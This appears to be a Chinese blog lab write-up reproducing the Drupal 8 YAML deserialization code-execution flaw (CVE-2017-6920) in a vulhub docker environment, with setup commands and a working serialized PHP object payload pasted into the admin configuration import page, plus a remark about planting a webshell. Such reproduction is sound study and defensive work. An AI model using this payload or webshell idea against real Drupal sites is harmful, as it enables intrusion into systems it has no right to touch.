[ vulhub漏洞复现篇 ] Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)
创始人
2024-05-26 03:52:54

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2017-6920环境
    • 2、启动CVE-2017-6920环境
    • 3、查看CVE-2017-6920环境
    • 4、安装yaml拓展
    • 5、访问CVE-2017-6920环境
    • 6、查看CVE-2017-6920漏洞提示信息
    • 7、关闭CVE-2017-6920环境
  • 五、漏洞复现
    • 1、访问漏洞点
    • 2、导入POC
    • 3、复现成功
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2017-6920

二、影响范围

Drupal < 8.3.4

三、漏洞描述

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。CVE-2017- 6920 是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

四、环境搭建

1、进入CVE-2017-6920环境

cd vulhub/confluence/CVE-2017-6920

在这里插入图片描述

2、启动CVE-2017-6920环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2017-6920环境

docker-compose ps

在这里插入图片描述

4、安装yaml拓展

1.查看容器信息

docker ps

在这里插入图片描述

2.进入容器

docker exec -it 容器ID /bin/bash

在这里插入图片描述

3.换镜像源
默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源

cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF

在这里插入图片描述

4.安装依赖

apt update 

在这里插入图片描述

apt-get -y install gcc make autoconf libc-dev pkg-config 

在这里插入图片描述

apt-get -y install libyaml-dev

在这里插入图片描述

  1. 安装yaml扩展
pecl install yaml

在这里插入图片描述

pecl install yaml docker-php-ext-enable yaml.so 

在这里插入图片描述

6.启用 yaml.decode_php

echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini

在这里插入图片描述

7.退出容器

exit

在这里插入图片描述

8.重启容器

docker restart 容器ID

在这里插入图片描述

5、访问CVE-2017-6920环境

环境启动后,访问http://your-ip:8080,将会看到drupal的安装页面,一路默认配置下一步安装。
因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
中文装不了就装英文

在这里插入图片描述

一直默认安装就行,然后数据库配置这一块儿选择SQLite

在这里插入图片描述

然后就会自动安装srupal

在这里插入图片描述

设置站点名称,登陆账号密码啥的
站点名称我就设置为powershell
邮箱随便设置,我设置了123@qq.com
账号我就设置为root,密码我就设置为123456了

在这里插入图片描述

更新配置中

在这里插入图片描述

自动登录进入了网站

在这里插入图片描述

6、查看CVE-2017-6920漏洞提示信息

cat README.md

在这里插入图片描述

7、关闭CVE-2017-6920环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、访问漏洞点

登录管理员账户,访问

http://your-ip:8080/admin/config/development/configuration/single/import

界面如下:

在这里插入图片描述

2、导入POC

如下图所示,配置类型选择 简单配置,配置名称任意填写,文本处中填写PoC如下:

!php/object"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

在这里插入图片描述

点击导入,漏洞触发:

在这里插入图片描述

3、复现成功

回显出phpinfo信息

在这里插入图片描述

既然能执行命令,那我们也可以写入webshell

六、漏洞修复

升级Drupal为最新版本

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

相关内容

热门资讯

3月26日博时主要消费ETF(... 数据显示,3月26日,博时主要消费ETF(159672)获净申购70.08万元,位居当日股票ETF净...
海思科涨2.12%,成交额19... 3月27日,海思科盘中上涨2.12%,截至09:46,报52.40元/股,成交1982.04万元,换...
百济神州涨2.07%,成交额1... 3月27日,百济神州盘中上涨2.07%,截至09:47,报220.98元/股,成交1.04亿元,换手...
华兰股份跌2.02%,成交额2... 3月27日,华兰股份盘中下跌2.02%,截至09:47,报83.92元/股,成交2598.74万元,...
航天宏图跌2.01%,成交额3... 3月27日,航天宏图盘中下跌2.01%,截至09:47,报19.50元/股,成交3134.91万元,...